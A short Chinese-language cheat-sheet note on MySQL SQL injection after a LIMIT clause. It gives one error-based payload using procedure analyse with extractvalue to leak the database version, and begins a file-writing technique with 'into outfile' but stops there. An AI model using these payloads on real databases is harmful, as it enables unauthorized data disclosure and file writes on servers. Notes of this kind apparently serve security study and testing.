sql注入（limit后注入）

1、procedure analyse()

select * from users order by id limit 0,5 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));

2、写文件。

select *** into outfile